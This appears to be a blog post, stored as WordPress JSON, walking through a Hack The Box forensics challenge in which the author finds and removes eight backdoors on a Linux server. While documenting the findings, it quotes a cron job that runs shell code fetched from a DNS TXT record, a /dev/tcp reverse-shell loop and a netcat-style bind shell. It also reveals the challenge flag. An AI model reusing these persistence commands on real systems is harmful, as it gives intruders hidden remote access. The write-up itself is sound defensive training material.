{"id":134,"date":"2022-05-24T13:14:59","date_gmt":"2022-05-24T13:14:59","guid":{"rendered":"https:\/\/justruss.tech\/?p=134"},"modified":"2022-05-24T13:20:20","modified_gmt":"2022-05-24T13:20:20","slug":"persistenceisfutile","status":"publish","type":"post","link":"https:\/\/justruss.tech\/index.php\/2022\/05\/24\/persistenceisfutile\/","title":{"rendered":"PersistenceIsFutile | Moderate"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Challenge brief<\/h2>\n\n\n\n<p>Hackers made it onto one of our production servers. We&#8217;ve isolated it from the internet until we can clean the machine up. The IR team reported eight different backdoors on the server but didn&#8217;t say what they were and we can&#8217;t get in touch with them. We need to get this server back into prod ASAP &#8211; we&#8217;re losing money every second it&#8217;s down. Please find the eight backdoors (both remote access and privilege escalation) and remove them. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Walkthrough<\/h2>\n\n\n\n<p>This one was a lot of fun because I rarely play around with Linux. I assumed at the start there were eight separate elements for this but turns out there were only really four.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Cron<\/h4>\n\n\n\n<p>Cron is a great place to put things so first I looked for local conjobs within &#8220;\/var\/spool\/cron\/crontabs\/&#8221; which had one for  &#8220;user&#8221; and so time to dump it<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">#Check for cronjobs\nsudo ls -la \/var\/spool\/cron\/crontabs\/user\n-rw------- 1 user crontab 250 May 14  2021 \/var\/spool\/cron\/crontabs\/user\n\n#Dump the contents\nsudo cat \/var\/spool\/cron\/crontabs\/user\n# DO NOT EDIT THIS FILE - edit the master and reinstall.\n# (- installed on Fri May 14 15:03:30 2021)\n# (Cron version -- $Id: crontab.c,v 2.13 1994\/01\/17 03:20:37 vixie Exp $)\n* * * * * \/bin\/sh -c \"sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)\"\n<\/pre>\n\n\n\n<p>As shown above, this is a DNS beacon where when the&nbsp;TXT&nbsp;record gets queried, it will grab the TXT&nbsp;record and use it as an argument for the &#8220;sh -c&#8221; command. Whilst root doesn&#8217;t seem to have an entry there must be something, so I dumped all the configs within &#8220;\/etc\/cron*&#8221; which found two files of interest.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">-rwxr-xr-x 1 root root  301 Apr 23  2021 access-up\n-rwxr-xr-x 1 root root  199 Jan 24  2021 pyssh\n<\/pre>\n\n\n\n<p>The first file &#8220;access-up&#8221; was interesting as it basically randomises a 6 char name and places it in either &#8220;\/bin&#8221; or &#8220;\/sbin&#8221; with 4755 permissions. <\/p>\n\n\n\n<p>The second file &#8220;pyssh&#8221; simply calls the file &#8220;\/lib\/python3\/dist-packages\/ssh_import_id_update&#8221; which adds a ssh key to &#8220;\/root\/.ssh\/authorized_keys&#8221;. The variables are just stored as base64 encoded strings.<\/p>\n\n\n\n<p>To clean up the cronjobs I just ran the following<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># As user to remove cronjob\ncrontab -e\n\n# As root, remove the malcious files and entry from authorised keys\nrm \/etc\/cron.daily\/access-up \nrm \/etc\/cron.daily\/pyssh \nrm \/lib\/python3\/dist-packages\/ssh_import_id_update\nvim \/root\/.ssh\/authorized_keys<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">SetUID permissions<\/h4>\n\n\n\n<p>Whilst I thought this was just cleaning up from the output of the file running within the cronjob, I did find a few more files. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">find \/ -user root -perm -4000 -printf \"%-25p %t\\n\"\n\/home\/user\/.backdoor      Fri May 14 15:03:30.0000000000 2021\n\/root\/solveme             Fri May  7 14:46:04.0000000000 2021\n\/usr\/bin\/newgrp           Thu May 28 06:37:47.0000000000 2020\n\/usr\/bin\/gpasswd          Thu May 28 06:37:47.0000000000 2020\n\/usr\/bin\/chfn             Thu May 28 06:37:47.0000000000 2020\n\/usr\/bin\/su               Tue Jul 21 07:49:28.0000000000 2020\n\/usr\/bin\/passwd           Thu May 28 06:37:47.0000000000 2020\n\/usr\/bin\/mount            Tue Jul 21 07:49:28.0000000000 2020\n\/usr\/bin\/chsh             Thu May 28 06:37:47.0000000000 2020\n\/usr\/bin\/umount           Tue Jul 21 07:49:28.0000000000 2020\n\/usr\/bin\/dlxcrw           Thu Jun 18 15:44:55.0000000000 2020\n\/usr\/bin\/mgxttm           Thu Jun 18 15:44:55.0000000000 2020\n\/usr\/bin\/sudo             Tue Jan 19 14:21:02.0000000000 2021\n\/usr\/lib\/openssh\/ssh-keysign Tue Mar  9 14:17:50.0000000000 2021\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper Thu Jun 11 18:22:13.0000000000 2020\n\/usr\/sbin\/afdluk          Thu Jun 18 15:44:55.0000000000 2020\n\/usr\/sbin\/ppppd           Fri May 14 15:03:24.0000000000 2021<\/pre>\n\n\n\n<p>Removing the common files I was left with<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/home\/user\/.backdoor      Fri May 14 15:03:30.0000000000 2021\n\/usr\/bin\/dlxcrw           Thu Jun 18 15:44:55.0000000000 2020\n\/usr\/bin\/mgxttm           Thu Jun 18 15:44:55.0000000000 2020\n\/usr\/sbin\/afdluk          Thu Jun 18 15:44:55.0000000000 2020\n\/usr\/sbin\/ppppd           Fri May 14 15:03:24.0000000000 2021<\/pre>\n\n\n\n<p>The first file seems to clearly be malicious and since the next three follow the pattern outlined above and were created at the exact same time I think it&#8217;s safe to assume these need to be removed as well. Now the last file was interesting as &#8220;pppd&#8221; is legitimate but I couldn&#8217;t find a reference to &#8220;ppppd&#8221; and when executed gave me a shell so I am going to assume it&#8217;s bad and remove it as well. If this wasn&#8217;t a fun activity, I would look deeper into the legitimacy before determining based on some limited details.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">rm \/home\/user\/.backdoor\nrm \/usr\/bin\/dlxcrw\nrm \/usr\/bin\/mgxttm\nrm \/usr\/sbin\/afdluk\nrm \/usr\/sbin\/ppppd<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Rogue Processes<\/h4>\n\n\n\n<p>After following the cronjob bouncing ball, I figured there has to be something currently running so a simple listing revealed all<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ps -auxf\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.0   2612   608 ?        Ss   11:38   0:00 \/bin\/sh -c \/usr\/sbin\/sshd -D -p 23\nroot           8  0.0  0.0  12180  7336 ?        S    11:38   0:00 sshd: \/usr\/sbin\/sshd -D -p 23 [listener] 0 of 10-100 startups\nroot           9  0.0  0.1  13896  8868 ?        Ss   11:40   0:00  \\_ sshd: user [priv]\nuser          23  0.0  0.0  14692  7108 ?        S    11:40   0:00      \\_ sshd: user@pts\/0\nuser          24  0.0  0.0   5996  4016 pts\/0    Ss   11:40   0:00          \\_ -bash\nroot         198  0.0  0.0   8308  4548 pts\/0    S    12:21   0:00              \\_ sudo -i\nroot         199  0.0  0.0   5996  3924 pts\/0    S    12:21   0:00                  \\_ -bash\nroot         207  0.0  0.0   2592  1968 pts\/0    S    12:21   0:00                      \\_ alertd -e \/bin\/bash -lnp 4444\nroot         282  0.0  0.0   7892  3356 pts\/0    R+   12:38   0:00                      \\_ ps -auxf\nroot          19  0.0  0.0   3980  3016 ?        S    11:40   0:00 \/bin\/bash \/var\/lib\/private\/connectivity-check\nroot         280  0.0  0.0   3980   244 ?        S    12:38   0:00  \\_ \/bin\/bash \/var\/lib\/private\/connectivity-check<\/pre>\n\n\n\n<p>I was lucky to run this as root first because as a user I didn&#8217;t get the alertd command which means something in the root profile must be spawning this. Obviously, connectivity-check is bad which is confirmed with a dump of the file having mostly garbage (execution code) but at the bottom was the below code which was a nice confirmation.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">while true; do\n    nohup bash -i &gt;&amp; \/dev\/tcp\/172.17.0.1\/443 0&gt;&amp;1;\n    sleep 10;\ndone<\/pre>\n\n\n\n<p>To see when\/how connectivity-check was called I simply grep&#8217;ed<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">grep -R \"connectivity-check\" \/etc\n\/etc\/update-motd.d\/30-connectivity-check:nohup \/var\/lib\/private\/connectivity-check &amp;<\/pre>\n\n\n\n<p>Looking through &#8220;\/root\/.bashrc&#8221; confirmed alertd is spawned when popping a root terminal and since, for reasons, root owns &#8220;\/home\/user\/.bashrc&#8221; this had to be replaced with a clean copy as well.<\/p>\n\n\n\n<p>To clean this all up I ran the following<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cp \/etc\/skel\/.bashrc \/root\/.bashrc\ncp \/etc\/skel\/.bashrc \/home\/user\/.bashrc\nrm \/etc\/update-motd.d\/30-connectivity-check\nrm \/var\/lib\/private\/connectivity-check\nrm \/usr\/bin\/alertd\nkill 207 19 280<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">New Account<\/h4>\n\n\n\n<p>The next obvious place to check was for malicious account creation which was a nice quick win <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cat \/etc\/passwd | grep -i \"\/bash\"\nroot:x:0:0:root:\/root:\/bin\/bash\ngnats:x:41:0:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/bin\/bash\nuser:x:1000:1000::\/home\/user:\/bin\/bash\n<\/pre>\n\n\n\n<p>Clearly &#8220;gnats&#8221; is either a malicious user or a bad admin with its level of access so I just nerfed this<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">usermod -s \/usr\/sbin\/nologin gnats  # Disabled logins\nusermod -g 1000 gnats               # Changed it from roots group<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Woop there it is<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">Issue 1 is fully remediated\nIssue 2 is fully remediated\nIssue 3 is fully remediated\nIssue 4 is fully remediated\nIssue 5 is fully remediated\nIssue 6 is fully remediated\nIssue 7 is fully remediated\nIssue 8 is fully remediated\n\nCongrats: HTB{7tr3@t_hUntIng_4TW}\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Challenge brief Hackers made it onto one of our production servers. We&#8217;ve isolated it from the internet until we can clean the machine up. The IR team reported eight different backdoors on the server but didn&#8217;t say what they were and we can&#8217;t get in touch with them. We need to get this server back [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[5],"tags":[],"class_list":["post-134","post","type-post","status-publish","format-standard","hentry","category-hackthebox-challenges"],"_links":{"self":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/comments?post=134"}],"version-history":[{"count":4,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/134\/revisions"}],"predecessor-version":[{"id":140,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/134\/revisions\/140"}],"wp:attachment":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/media?parent=134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/categories?post=134"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/tags?post=134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}